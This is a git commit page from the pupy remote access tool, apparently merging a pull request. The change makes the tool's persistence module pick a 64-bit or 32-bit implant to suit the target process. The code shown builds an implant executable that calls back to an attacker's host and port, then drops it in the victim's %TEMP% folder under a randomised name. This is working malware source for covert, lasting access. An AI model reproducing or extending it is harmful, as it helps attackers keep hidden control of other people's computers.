Merge pull request #20 from belko-letyago/master

Select arch in PersistenceModule
This commit is contained in:
n1nj4sec 2015-09-28 18:23:54 +02:00
commit e35224ad41
1 changed files with 4 additions and 1 deletions

View File

@ -27,6 +27,9 @@ class PersistenceModule(PupyModule):
self.info("generating exe ...") self.info("generating exe ...")
#generating exe #generating exe
if self.client.desc['proc_arch']=="64bit":
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
else:
exebuff=pupygen.get_edit_pupyx86_exe(host, port) exebuff=pupygen.get_edit_pupyx86_exe(host, port)
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))